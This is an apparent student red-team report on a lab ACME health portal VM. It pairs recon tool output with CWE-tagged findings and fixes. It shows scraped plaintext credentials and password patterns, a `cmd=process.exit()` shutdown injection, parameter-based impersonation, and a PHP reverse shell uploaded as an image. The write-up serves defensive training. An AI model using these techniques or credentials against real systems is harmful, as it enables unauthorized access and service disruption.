

Team-9 Project 3

Marshall Nelson, Jewels Wolter, Kate Moreland, Spencer Shirah

March 27th 2026

1 Executive Summary

From March 21 to March 27 Team 9 performed a red team report on the ACME health portal infrastructure. The goal is to successfully identify any weak points in the infrastructure and layout solutions to resolve any issues that are discovered. The assessment of the system revealed multiple critical security issues. One of the critical vulnerabilities could even result in compromising of the entire system. The most important issues that were discovered are listed below in the table.

Vulnerability	Impact	Service
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor	Critical	Apache Webserver
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code	Critical	Next.js
CWE-250: Execution with Unnecessary Privileges	Critical	Next.js
CWE-521: Weak Password Requirements	Critical	OSINT
CWE-284: Broken Access Control	High	Next.js
CWE-256: Plaintext Storage of a Password	High	Apache Webserver
CWE-434: Unrestricted Upload of File with Dangerous Type	Medium	Apache WebPortal

Table 1: Vulnerabilities on the System

Confidential information and passwords are exposed on the system. These can be accessed on the webserver due to it being misconfigured. With the credentials exposed unauthorized access to the internal server is available to attackers.

On the frontend for the webserver there are exposed routes, so attackers are able to navigate the webserver and located sensitive and private data.

The Next.js is not configured for server-side validation. Any user is able to fool the system by claiming to have different level of access.

The Next.js is running as a root user. It runs with admin credentials so the team was able to gain full and complete access to the entire system. This allows for unrestricted control of the machine as well as all the stored data on the system.

Team 9 recommends implementing a policy of zero trust. The main idea is to give all users no access until they have entered approved credentials on the system. All credentials need to be encrypted and stored in a secure place. All passwords need to be held to a modern and complex standard. This standard needs to not allow a user to reuse a common phrase. None of the services should be running as root to prevent any one service from taking over the system.

The vulnerabilities that the team discovered during the report offer a great risk to ACME. If these vulnerabilities are not resolved it could result in an easily attack-able system. If the proposed changes are implemented then it would transform the system into a secure environment.

2 Table of Contents

Contents

1 Executive Summary	1
---------------------	---

2	Table of Contents	1
3	Methodology and Goals	2
3.1	Goals	2
3.2	Methodology	3
4	Scenario and Scope	3
4.1	Scenario	3
4.2	Scope	3
5	Attack Narrative	3
5.1	Reconnaissance	3
5.1.1	TCP Port Scan and Further Enumeration	4
5.1.2	UDP Port Scanning	4
5.1.3	Apache Webserver Directory Enumeration	4
5.1.4	Apache Webserver Directory Exploration	4
5.1.5	Sensitive File Retrieval	4
5.1.6	Next.js Webserver Directory Enumeration	5
5.1.7	Next.js Webserver Directory Exploration	5
5.1.8	OSINT Review	5
5.1.9	Employee Enumeration	6
5.1.10	Historical Breach Data Analysis	6
5.1.11	Exploitation 1: Plaintext Credential Access	6
6	Observations and Recommendations	6
6.1	Observation 1: Sensitive File Access (CWE-200)	6
6.2	Observation 2: Exposure of Next.js Framework	7
6.3	Observation 3: Broken Access Control (CWE-284)	7
6.4	Observation 4: Remote Code Execution (CWE-95)	7
6.5	Observation 5: Failure of Least Privilege (CWE-250)	7
6.6	Observation 6: Arbitrary PHP Execution (CWE-434)	8
6.7	Observation 7: Weak Password Requirements (CWE-284) and Plaintext Credential Access (CWE-256)	8
7	Appendix	8
7.1	TCP Port Scan	8
7.2	UDP Port Scanning	9
7.3	Apache Webserver Directory Enumeration	10
7.4	Apache Webserver Directory Exploration	11
7.5	Sensitive File Retrieval	13
7.6	Next.js Webserver Directory Enumeration	14
7.7	Next.js Webserver Directory Explanation	14
7.8	Web Portal Reverse Shell	18

3 Methodology and Goals

This red team assessment followed a structured penetration testing methodology to identify and exploit vulnerabilities in ACME IT Corp’s internal systems.

3.1 Goals

The primary objectives were:

1. Identify vulnerabilities in the target system that could lead to unauthorized access

2. Demonstrate exploitability through proof-of-concept attacks
3. Assess the impact of successful exploitation
4. Provide actionable remediation guidance

3.2 Methodology

The engagement followed a phased approach:

Phase 1: Information Gathering - Reviewed OSINT materials to understand ACME IT Corp's environment

Phase 2: Reconnaissance - Performed network scanning (nmap), service enumeration, and web directory brute-forcing (Gobuster)

Phase 3: Exploitation - Developed and executed proof-of-concept exploits for identified vulnerabilities

Phase 4: Documentation - Captured evidence and documented attack paths

Tools Used: nmap, Gobuster with DirBuster wordlist, curl, web browser

All testing was conducted from Kali Linux VM within the isolated 192.168.56.0/24 network.

4 Scenario and Scope

4.1 Scenario

This engagement simulated an external attacker scenario against ACME IT Corp's internal health portal infrastructure. The assessment aimed to identify security weaknesses that could be exploited by an unauthenticated adversary with network access to internal systems.

4.2 Scope

In Scope:

- Target IP: 192.168.56.21
- Network range: 192.168.56.0/24 (host-only network)
- All network-accessible services on the target
- Web applications on ports 80 and 3000

Out of Scope:

- Physical access to systems
- Social engineering attacks
- Denial of service attacks
- Manipulation via VirtualBox interface

Rules of Engagement: All attacks must be conducted from the Kali VM via network protocols only. Direct interaction with the VM through the VirtualBox interface is prohibited.

5 Attack Narrative

5.1 Reconnaissance

Reconnaissance was conducted in two phases: active network scanning to enumerate open ports and services, followed by further enumeration to identify additional exposed information. All activity was performed from the Kali VM within the isolated 192.168.56.0/24 host-only network.

5.1.1 TCP Port Scan and Further Enumeration

A full nmap service and version scan was performed to identify the services operating on common ports. Full output of the scan is located in the appendix.

This scan revealed some common expected ports and protocols including OpenSSH on port 22 and an apache webserver running HTTP on port 80. There is an additional service on port 3000 using TCP. Nmap was unable to identify the service, however, response header includes "HTTP/1.1", which strongly indicates this is a web server of some sort.

Using the browser, we confirmed that the service operating on port 3000 was a web server. It is a Next.js app server that may have not been fully configured.

5.1.2 UDP Port Scanning

A UDP scan of the top 20 ports was performed to identify any UDP services running on the target. Full output of the scan is located in the appendix.

UDP scanning returned `open|filtered` on all 20 top ports, indicating the results were inconclusive — likely due to a firewall silently dropping probes. Given the scope and timeline of this assessment, further UDP enumeration was deprioritized in favor of confirmed open TCP services.

5.1.3 Apache Webserver Directory Enumeration

Since port 80 was open, Gobuster was used to brute-force web directories on the target's Apache server using the DirBuster medium wordlist. The complete scan is available in the appendix.

The scan discovered the following directories, all returning HTTP 301 redirects:

- `/uploads`
- `/data`
- `/admin`
- `/assets`
- `/javascript`

Additionally, `/server-status` returned a 403 Forbidden, confirming Apache `server-status` was enabled but restricted.

5.1.4 Apache Webserver Directory Exploration

Each discovered directory was manually explored using `curl` to retrieve its contents. Directory indexing was enabled on the Apache server, exposing file listings without authentication. The script showing the curls are in the appendix.

The following files of interest were identified:

- `/data/users.txt` - A plaintext collection of username and password combinations to the web portal
- `/data/uploads.txt` - a plaintext listing of files uploaded including timestamp, user, and filename

The `/uploads` and `/javascript` directories were forbidden, which is a good security practice, restricting external access to secure directories.

5.1.5 Sensitive File Retrieval

The files identified above were reviewed and sensitive information was recorded.

`/data/users.txt` contains plaintext credentials that can be used to gain authenticated access to the ACME co web application.

The following credentials were obtained:

User	Password	Role
mitchmarcus	ITAdmin2026	admin
alicebrown	AlicePortal2026	user
bobbarker	BobPortal2026	user
claireredfield	ClairePortal2026	user
evejohnson	EvePortal2026	user
fongling	FongPortal 2026	user
mallorymartinez	MalloryPortal2026	admin

Table 2: Webportal Credentials

`/data/uploads.txt` contains a list of files uploaded by users into the portal. A detailed list of the files are in the appendix.

5.1.6 Next.js Webserver Directory Enumeration

Since there was an additional webserver operating on port 3000 gobuster was used to brute-force additional web directories, using the same command mentioned in 5.1.3 with the port added onto the end of the IP.

There was only a single primary directory found with this wordlist, `/dashboard`.

There was a `/license` directory as well, but it redirected to an external creative commons license url.

5.1.7 Next.js Webserver Directory Exploration

Details of the exploration of Next.js are available in the appendix section. The Next.js was determined to be dynamic, so a script is run on the server for each request that was made. Having a dynamic rendered webserver allows for the most up-to-date information to be shown, shows different content based on who is logged in, and allows for updates to the site without having to rebuild it. The drawback is having a larger attack surface due to users running code on the server. It is also critical for developers of the server to keep the security protocols up to date to prevent any unexpected use.

The homepage of the Next.js was checked for any information about the system. It returned information such as a buildId, which was used to navigate the structure.

By using the buildId that was discovered, the internal manifest was accessed to find hidden routes that were not seen during the initial gobuster scan. The route `/api/hello` is found, which is a default route in Next.js. This can suggest to attackers that the api route is up and active.

Looking into the `/dashboard` page, the JSON data contained information about two injection points. Those points are user and cmd. This allows for further exploitation, like impersonation and remote code execution.

By telling the system that the access is Alice, the server accepted the change and showed the page as Alice. This demonstrates CWE-284, broken access control.

Code can be executed remotely with no admin login. This demonstrates CWE-95. Anyone is able to execute code on the server. An adversary could push the command `cmd=process.exit()` to turn off the system and create a DoS attack.

The overall impact of all of the weakness is full system takeover of the system. This allows for code to be run as root on the system and access files on any part of the system. The demonstrates CWE-250. When the cmd parameter is used on the system it allows for unauthorized access. That access along with root privileges can lead to a total lockout of the system.

5.1.8 OSINT Review

Prior to active reconnaissance, two OSINT documents were reviewed to build a profile of the target organization and its personnel.

5.1.9 Employee Enumeration

Six current employees were identified through LinkedIn, the company website, public records, and breach data cross-referencing. All seven accounts discovered in `/data/users.txt` during active reconnaissance were confirmed as real employees or contractors, validating the credential file’s authenticity.

5.1.10 Historical Breach Data Analysis

A prior breach from the early 2010s was identified through a third-party data vendor. Five of the six current employees had credentials present in the breach dump. The organization acknowledged the breach but indicated corrective actions had been taken. Analysis suggests these actions were procedural rather than technical, as the underlying architectural weaknesses remained present during this engagement.

Mitch Marcus — Base64 Encoded Credentials The breach data for Mitch Marcus contained Base64-encoded password strings. Decoding these revealed the following historical credentials:

Period	Decoded Password
Jul 2009	superDUPER5tr0n9p@ssword-Jul2009
Jan 2010	superDUPER5tr0n9p@ssword-Jan2010
Jan 2011	superDUPER5tr0n9p@ssword-Jan2011

Table 3: Mitch Marcus Decoded Historical Credentials

This reveals a predictable password pattern of `superDUPER5tr0n9p@ssword-[Month][Year]`, consistent with the monthly rotation policy referenced in the OSINT report. His current portal password, `ITAdmin2026`, represents a regression in password strength. However, if the historical pattern was reused on other services, variants such as `superDUPER5tr0n9p@ssword-[this month][this year]` would be viable candidates for credential testing.

Password Pattern Analysis Cross-referencing historical passwords across all accounts revealed two distinct password styles in use at the organization:

- **Random special-character passwords** — used by Alice Brown and Bob Barker, suggesting familiarity with strong password practices
- **Four-word underscore-separated passphrases** — used by Claire Redfield and Eve Johnson, suggesting a possible enforced policy for newer hires

5.1.11 Exploitation 1: Plaintext Credential Access

During directory enumeration of the Apache webserver, the file `/data/users.txt` was discovered containing plaintext credentials for the ACME IT Corp web portal.

Attack Vector: Unauthenticated file access due to directory indexing misconfiguration.

Impact: Obtained valid credentials for two administrative accounts (`mitchmarcus` and `mallorymartinez`) and five standard user accounts. These credentials could be used to access the web application with legitimate user privileges, potentially leading to further exploitation through authenticated features.

6 Observations and Recommendations

6.1 Observation 1: Sensitive File Access (CWE-200)

Directory enumeration of the Apache web server revealed two sensitive plaintext files publicly accessible within the `/data/` directory. The first, `/data/users.txt`, contains credentials for the ACME IT Corp web portal, including two administrator accounts and five standard user accounts. An attacker in possession of these credentials could gain unauthorized authenticated access to the web application, potentially enabling

further exploitation through privileged features and functionality. The second file, `/data/uploads.txt`, enumerates files uploaded to the web application. This exposes additional attack surface by allowing an attacker to directly request known filenames without further enumeration post-authentication.

Recommendation: Sensitive files should be removed from the web root entirely and never stored in plaintext regardless of access controls. Directory listing should be disabled in the Apache configuration (Options -Indexes), and access to the `/data/` directory should be restricted via appropriate `.htaccess` rules or server configuration.

6.2 Observation 2: Exposure of Next.js Framework

During the Next.js discovery, the root directory revealed the buildId in the `__NEXT_DATA__`. That buildId allowed for accessing the build manifest. This violates the idea of security by obscurity by showing all of the routes.

Recommendation: To prevent attackers from accessing the version the x-powered-by header needs to be disabled in `next.config.js`. Only internal build processes should be able to access the build manifest. This can be done by blocking any external access. To prevent the `/_error` route from being exposed and allowing for trace routing, set the `NODE_ENV` to production. Finally, remove all default routes and files, which does not allow the attacker to confirm whether or not the API layer is up and running.

6.3 Observation 3: Broken Access Control (CWE-284)

On the Next.js application, it was discovered that it accepted a user-supplied user parameter without server-side validation, allowing session impersonation. This results in anyone being able to fool the server by claiming they are someone they are not, including administrators, without providing valid credentials.

Recommendation: The use of the user URL parameter should be removed. In its place there should be a secure authentication flow. There should be checks in place where admin routes are covered by a layer that checks credentials.

6.4 Observation 4: Remote Code Execution (CWE-95)

The most critical vulnerability discovered was an unauthorized remote code execution capability through the `cmd` parameter on the Next.js dashboard. Unauthorized user input is directly passed to a dynamically executable function on the server. This can result in total control of the system by the attacker.

Recommendation: A strict list of permitted users that can utilize the `cmd` parameter should be created. This protects from the system from accidental or intentional alteration. Next.js libraries should be implemented to avoid allowing users to make whatever command string they would choose. The dynamic code execution should be limited to a sandbox to prevent full access to the system. That way the attacker can not access the file system or anything else on the machine.

6.5 Observation 5: Failure of Least Privilege (CWE-250)

The Next.js server also ran commands as root on the system. This can result in a complete system compromise, data ex-filtration, denial of service, lateral movement, and persistence.

Recommendation: The Next.js application should be run as a lower-privileged user to prevent root access on the system. The system should always start with the lowest privilege to prevent unauthorized access to the system.

6.6 Observation 6: Arbitrary PHP Execution (CWE-434)

The `upload.php` page of the ACME IT Corp web portal was found to accept arbitrary file uploads with insufficient validation, allowing authenticated users to upload and execute server-side code. Leveraging the credentials obtained in Observation 1, an authenticated session was established and a PHP web shell was uploaded disguised as an image file (`uploads/php-new-shell.png`). Direct retrieval of this file via the portal triggered server-side execution, resulting in an interactive reverse shell on the underlying host 7.8.

This vulnerability provides an attacker with remote code execution (RCE) capabilities on the server, representing a critical escalation from authenticated web access to full system-level control. From this position, an attacker could enumerate the host, escalate privileges, pivot to internal network resources, or establish persistence.

Recommendation: File uploads should be restricted by both MIME type and file extension, with server-side validation enforced independently of client-supplied metadata. Uploaded files should be stored outside the web root and served through a dedicated handler rather than being directly accessible via URL. Execution permissions should be removed from all upload directories, and uploaded content should be scanned prior to storage.

6.7 Observation 7: Weak Password Requirements (CWE-284) and Plaintext Credential Access (CWE-256)

From the data breach, it was discovered that there are weak password requirements for the company. An employee was allowed to use similar phrases with years at the end. This creates an easily guessable password. During directory enumeration of the Apache webserver, the file `/data/users.txt` was discovered containing plaintext credentials for the ACME IT Corp web portal.

Recommendation: It was later discovered that employees that joined the company later were required to have a password that was composed of 4 four underscore separated passphrases. This needs to be enforced for all employees no matter when they were hired.

Credentials should not be stored in plaintext ever. Passwords should be encrypted using a hashing algorithm like Argon2id for example. This makes sure that even if someone gains access when they are not supposed to passwords are still protected.

7 Appendix

7.1 TCP Port Scan

The results of the nmap scan for the TCP ports that was run on the system.

Listing 1: Nmap -sV Scan

```
1 $ nmap -sV 192.168.56.21
2
3 Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-27 16:07 EDT
4 Nmap scan report for 192.168.56.21
5 Host is up (0.00038s latency).
6 Not shown: 997 closed tcp ports (reset)
7 PORT      STATE SERVICE VERSION
8 22/tcp    open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol
    2.0)
9 80/tcp    open  http     Apache httpd 2.4.58 ((Ubuntu))
10 3000/tcp  open  ppp?
11 1 service unrecognized despite returning data. If you know the service/version,
    please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?
    new-service :
12 SF-Port3000-TCP:V=7.95%I=7%D=3/27%Time=69C6E3E0%P=x86_64-pc-linux-gnu%r(Ge
```



```

13 SF:tRequest,1107,"HTTP/1.1\x20200\x200K\r\nX-Powered-By:\x20Next\.js\r\nE
14 SF:Tag:\x20\"hmrrb0i6j937d\" \r\nContent-Type:\x20text/html;\x20charset=utf
15 SF:-8\r\nContent-Length:\x204153\r\nVary:\x20Accept-Encoding\r\nDate:\x20F
16 SF:ri,\x2027\x20Mar\x202026\x2020:09:03\x20GMT\r\nConnection:\x20close\r\n
17 SF:\r\n<!DOCTYPE\x20html><html\x20lang=\"en\"><head><meta\x20charSet=\"utf
18 SF:-8\" \x20data-next-head=\"\"/><meta\x20name=\"viewport\" \x20content=\"wi
19 SF:dth=device-width\" \x20data-next-head=\"\"/><link\x20rel=\"preload\" \x20
20 SF:href=\"/next\.svg\" \x20as=\"image\" \x20data-next-head=\"\"/><link\x20re
21 SF:l=\"preload\" \x20href=\"/_next/static/media/caa3a2e1cccd8315-s\.p\.8530
22 SF:70df\.woff2\" \x20as=\"font\" \x20type=\"font/woff2\" \x20crossorigin=\"an
23 SF:onymous\" \x20data-next-font=\"size-adjust\"/><link\x20rel=\"preload\" \x
24 SF:20href=\"/_next/static/media/797e433ab948586e-s\.p\.dbea232f\.woff2\" \x
25 SF:20as=\"font\" \x20type=\"font/woff2\" \x20crossorigin=\"anonymous\" \x20da
26 SF:ta-next-font=\"size-adjust\"/><link\x20rel=\"preload\" \x20href=\"/_next
27 SF:/static/chunks/c4e409f7981e75a8\.css\" \x20as=\"style\"/><link\x20rel=\"
28 SF:preload\" \x20href=\"/_next/static/chunks/e728a2207a3f89fe\.css\" \")%r(He
29 SF:lp,2F,\"HTTP/1.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r
30 SF:\n\")%r(NCP,2F,\"HTTP/1.1\x20400\x20Bad\x20Request\r\nConnection:\x20clo
31 SF:se\r\n\r\n\")%r(HTTPOptions,86,\"HTTP/1.1\x20405\x20Method\x20Not\x20All
32 SF:owed\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nDate:\x20Fri,\x2027\x20Mar\x
33 SF:202026\x2020:09:03\x20GMT\r\nConnection:\x20close\r\n\r\nMethod\x20Not\
34 SF:x20Allowed\")%r(RTSPRequest,86,\"HTTP/1.1\x20405\x20Method\x20Not\x20All
35 SF:owed\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nDate:\x20Fri,\x2027\x20Mar\x
36 SF:202026\x2020:09:03\x20GMT\r\nConnection:\x20close\r\n\r\nMethod\x20Not\
37 SF:x20Allowed\")%r(RPCCheck,2F,\"HTTP/1.1\x20400\x20Bad\x20Request\r\nConne
38 SF:ction:\x20close\r\n\r\n\")%r(DNSVersionBindReqTCP,2F,\"HTTP/1.1\x20400\x
39 SF:20Bad\x20Request\r\nConnection:\x20close\r\n\r\n\")%r(DNSStatusRequestTC
40 SF:P,2F,\"HTTP/1.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\
41 SF:n\")%r(SSLSessionReq,2F,\"HTTP/1.1\x20400\x20Bad\x20Request\r\nConnectio
42 SF:n:\x20close\r\n\r\n\");
43 MAC Address: 08:00:27:C7:45:0B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
44 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
45
46 Service detection performed. Please report any incorrect results at https://nmap.
   org/submit/ .
47 Nmap done: 1 IP address (1 host up) scanned in 109.30 seconds

```

7.2 UDP Port Scanning

The results of the nmap scan for the UDP ports.

Listing 2: Nmap -sU top 20 ports scan

```

1 $ nmap -sU --top-ports 20 192.168.56.21
2
3 Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-27 16:28 EDT
4 Nmap scan report for 192.168.56.21
5 Host is up (0.00036s latency).
6
7 PORT      STATE      SERVICE
8 53/udp    open|filtered domain
9 67/udp    open|filtered dhcpc
10 68/udp    open|filtered dhcpc
11 69/udp    open|filtered tftp
12 123/udp   open|filtered ntp
13 135/udp   open|filtered msrpc
14 137/udp   open|filtered netbios-ns
15 138/udp   open|filtered netbios-dgm
16 139/udp   open|filtered netbios-ssn

```

```

17 161/udp    open|filtered snmp
18 162/udp    open|filtered snmptrap
19 445/udp    open|filtered microsoft-ds
20 500/udp    open|filtered isakmp
21 514/udp    open|filtered syslog
22 520/udp    open|filtered route
23 631/udp    open|filtered ipp
24 1434/udp   open|filtered ms-sql-m
25 1900/udp   open|filtered upnp
26 4500/udp   open|filtered nat-t-ike
27 49152/udp  open|filtered unknown
28 MAC Address: 08:00:27:C7:45:0B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
29
30 Nmap done: 1 IP address (1 host up) scanned in 1.75 seconds

```

7.3 Apache Webserver Directory Enumeration

Listing 3: Apache Webserver gobuster Results

```

1 $ gobuster dir -u http://192.168.56.21 \ -w /usr/share/wordlists/dirbuster/
  directory-list-2.3-medium.txt
2
3 =====
4 Gobuster v3.8
5 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
6 =====
7 [+] Url: http://192.168.56.21
8 [+] Method: GET
9 [+] Threads: 10
10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-
   medium.txt
11 [+] Negative Status codes: 404
12 [+] User Agent: gobuster/3.8
13 [+] Timeout: 10s
14 =====
15 Starting gobuster in directory enumeration mode
16 =====
17
18 /data (Status: 301) [Size: 313] [--> http://192.168.56.21/data/]
19
20 /uploads (Status: 301) [Size: 316] [--> http://192.168.56.21/uploads
   /]
21
22 /admin (Status: 301) [Size: 314] [--> http://192.168.56.21/admin/]
23
24 /assets (Status: 301) [Size: 315] [--> http://192.168.56.21/assets/]
25
26 /javascript (Status: 301) [Size: 319] [--> http://192.168.56.21/
   javascript/]
27
28 Progress: 6082 / 220559 (2.76%)
29 Progress: 12628 / 220559 (5.73%)
30 Progress: 20685 / 220559 (9.38%)
31 Progress: 31821 / 220559 (14.43%)
32 Progress: 45441 / 220558 (20.60%)
33 Progress: 56952 / 220558 (25.82%)
34 Progress: 69946 / 220558 (31.71%)
35 Progress: 82298 / 220558 (37.31%)

```

```

36 Progress: 95176 / 220558 (43.15%)
37 /server-status          (Status: 403) [Size: 278]
38
39 Progress: 108078 / 220558 (49.00%)
40 Progress: 121376 / 220558 (55.03%)
41 Progress: 135101 / 220558 (61.25%)
42 Progress: 147738 / 220558 (66.98%)
43 Progress: 161390 / 220558 (73.17%)
44 Progress: 174480 / 220558 (79.11%)
45 Progress: 186060 / 220558 (84.36%)
46 Progress: 198232 / 220558 (89.88%)
47 Progress: 210400 / 220558 (95.39%)
48 Progress: 220558 / 220558 (100.00%)
49 Progress: 220558 / 220558 (100.00%)
50 =====
51 Finished
52 =====

```

7.4 Apache Webserver Directory Exploration

Listing 4: Curl Commands for Web Directory Exploration

```

1  $ curl -L http://192.168.56.21/uploads/
2
3  <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
4  <html><head>
5  <title>403 Forbidden</title>
6  </head><body>
7  <h1>Forbidden</h1>
8  <p>You don't have permission to access this resource.</p>
9  <hr>
10 <address>Apache/2.4.58 (Ubuntu) Server at 192.168.56.21 Port 80</address>
11 </body></html>
12
13 $ curl -L http://192.168.56.21/uploads/
14
15 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
16 <html>
17 <head>
18 <title>Index of /data</title>
19 </head>
20 <body>
21 <h1>Index of /data</h1>
22 <table>
23 <tr><th valign="top"></th><th><a href
    ="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a
    href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></
    tr>
24 <tr><th colspan="5"><hr></th></tr>
25 <tr><td valign="top"></td><td><a href
    ="/">Parent Directory</a></td><td>&nbsp;</td><td align="right"> - </td><td>&
    nbsp;</td></tr>
26 <tr><td valign="top"></td><td><a href="
    messages.txt">messages.txt</a></td><td align="right">2026-03-15 23:01 </td><td
    align="right"> 0 </td><td>&nbsp;</td></tr>
27 <tr><td valign="top"></td><td><a href="
    uploads.txt">uploads.txt</a></td><td align="right">2026-03-21 18:24 </td><td
    align="right">162 </td><td>&nbsp;</td></tr>

```

```

28 <tr><td valign="top"></td><td><a href="
    users.txt">users.txt</a></td><td align="right">2026-03-15 23:01 </td><td align
    ="right">449 </td><td>&nbsp;</td></tr>
29 <tr><th colspan="5"><hr></th></tr>
30 </table>
31 <address>Apache/2.4.58 (Ubuntu) Server at 192.168.56.21 Port 80</address>
32 </body></html>
33
34 $ curl -L http://192.168.56.21/data/
35
36 <!doctype html>
37 <html>
38 <head>
39 <meta charset="utf-8">
40 <title>ACME IT Corp Staff Login</title>
41 <link rel="stylesheet" href="/assets/style.css">
42 </head>
43 <body>
44 <div class="container">
45 <div class="nav">
46 <div class="brand">ACME IT Corp <span class="badge">staff portal</span></div>
47 <div class="links">
48 <a href="/index.php">Home</a>
49 </div>
50 </div>
51
52 <div class="card">
53 <div class="h1">Staff Login</div>
54 <div class="p">Use your ACME IT Corp network credentials.</div>
55
56
57 <form method="post">
58 <label>Username</label>
59 <input name="username" autocomplete="username" required>
60
61 <label>Password</label>
62 <input name="password" type="password" autocomplete="current-password"
    required>
63
64 <button type="submit">Sign in</button>
65 </form>
66 </div>
67 </div>
68 </body>
69 </html>
70
71 $ curl -L http://192.168.56.21/admin/
72
73 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
74 <html>
75 <head>
76 <title>Index of /assets</title>
77 </head>
78 <body>
79 <h1>Index of /assets</h1>
80 <table>
81 <tr><th valign="top"></th><th><a href
    ="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a

```

```

      href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></
      tr>
82   <tr><th colspan="5"><hr></th></tr>
83   <tr><td valign="top"></td><td><a href
      ="/">Parent Directory</a></td><td>&nbsp;</td><td align="right"> - </td><td>&
      &nbsp;</td></tr>
84   <tr><td valign="top"></td><td><a href="
      style.css">style.css</a></td><td align="right">2026-03-15 23:01 </td><td align
      ="right">1.9K</td><td>&nbsp;</td></tr>
85   <tr><th colspan="5"><hr></th></tr>
86   </table>
87   <address>Apache/2.4.58 (Ubuntu) Server at 192.168.56.21 Port 80</address>
88   </body></html>
89
90   $ curl -L http://192.168.56.21/assets/
91
92   <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
93   <html><head>
94   <title>403 Forbidden</title>
95   </head><body>
96   <h1>Forbidden</h1>
97   <p>You don't have permission to access this resource.</p>
98   <hr>
99   <address>Apache/2.4.58 (Ubuntu) Server at 192.168.56.21 Port 80</address>
100  </body></html>

```

```

# ACME IT Corp - Staff Portal Credentials
# Format: username:password:role
# Last updated: Mallory Martinez
#
# NOTE: These are portal-only credentials, separate from system accounts.
# Do not store system passwords here.
mitchmarcus:ITAdmin2026:admin
alicebrown:AlicePortal2026:user
bobbarker:BobPortal2026:user
claireredfield:ClairePortal2026:user
evejohnson:EvePortal2026:user
fongling:FongPortal2026:user
mallorymartinez:MalloryPortal2026:admin

```

Figure 1: /data/users.txt contents

7.5 Sensitive File Retrieval

```

2026-03-16 03:43:39|alicebrown|shell.png|31
2026-03-20 05:28:02|mitchmarcus|php-reverse-shell.png|5496
2026-03-21 18:24:34|mitchmarcus|php-reverse-shell.png|5496

```

Figure 2: /data/uploads.txt contents

7.6 Next.js Webserver Directory Enumeration

The results of the gobuster script.

```
(kali@kali) [~]
$ gobuster dir -u http://192.168.56.21:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://192.168.56.21:3000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

/# license, visit http://creativecommons.org/licenses/by-sa/3.0/ (Status: 308) [Size: 71] [→ %23%20license
/dashboard (Status: 200) [Size: 2604]
Progress: 220558 / 220558 (100.00%)

Finished
```

Figure 3: Next.js Webserver gobuster Results

7.7 Next.js Webserver Directory Explanation

By looking at line 2, it shows that when the server is curled the `__N_SSP` returns true which means that it is dynamic.

Listing 5: Dynamic Rendering

```
1 $ curl -s http://192.168.56.21:3000/dashboard
2 <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" data-next-head=""><
  meta name="viewport" content="width=device-width" data-next-head=""><link rel
  ="preload" href="/_next/static/chunks/c4e409f7981e75a8.css" as="style"/><link
  rel="stylesheet" href="/_next/static/chunks/c4e409f7981e75a8.css" data-n-g
  =""><noscript data-n-css=""></noscript><script src="/_next/static/chunks/
  a244b3459b586db2.js" defer=""></script><script src="/_next/static/chunks/8
  e8a52f41d4c1126.js" defer=""></script><script src="/_next/static/chunks/
  turbopack-a94a479289f0e184.js" defer=""></script><script src="/_next/static/
  chunks/7b4f7971dbd2b4c4.js" defer=""></script><script src="/_next/static/chunks
  /turbopack-369b5670a966d1c4.js" defer=""></script><script src="/_next/static/
  JHuC9hCLrfTi8AelgPF9j/_ssgManifest.js" defer=""></script><script src="/_next/
  static/JHuC9hCLrfTi8AelgPF9j/_buildManifest.js" defer=""></script></head><body
  class="antialiased"><div id="__next"><div style="background-color:#0b1220;
  background-image:radial-gradient(1000px 600px at 20% 0%, #12224a, #0b1220);min-
  height:100vh;color:#e8eefc;font-family:sans-serif;padding:24px"><div style="max
  -width:980px;margin:0 auto"><div style="display:flex;justify-content:space-
  between;padding:14px;border:1px solid #223257;border-radius:12px;background:
  rgba(15, 26, 51, 0.65)"><div>ACME IT Corp <span style="color:#9db0d1;font-size
  :12px">internal health portal</span></div><div>User: <span style="color:#6ea8fe
  ">fongling</span></div></div><div style="margin-top:18px;padding:18px;border:1
  px solid #223257;border-radius:12px;background:rgba(15, 26, 51, 0.75)"><h1>
  System Diagnostics v1.0b</h1><p style="color:#9db0d1;font-size:14px">Authorized
  access only. Unauthorized access is prohibited and monitored.</p><div style="
  margin-top:20px"><h2 style="font-size:14px;color:#6ea8fe;text-transform:
  uppercase">Diagnostic Output</h2><pre style="background:#0b142a;padding:10px;
  border-radius:10px;color:#6fcf6f;border:1px solid #223257">System standby. Run
  diagnostics via the cmd parameter.</pre></div></div><div style="margin-top:22px
  ;text-align:center;font-size:12px;color:#9db0d1"> 2026 ACME IT Corp
  Internal Portal v2.6.14 <span style="color:#6ea8fe">Built by Next.js</span
  ></div></div></div></div><script id="__NEXT_DATA__" type="application/json">{"
```

```

props":{"pageProps":{"systemInfo":"System standby. Run diagnostics via the cmd
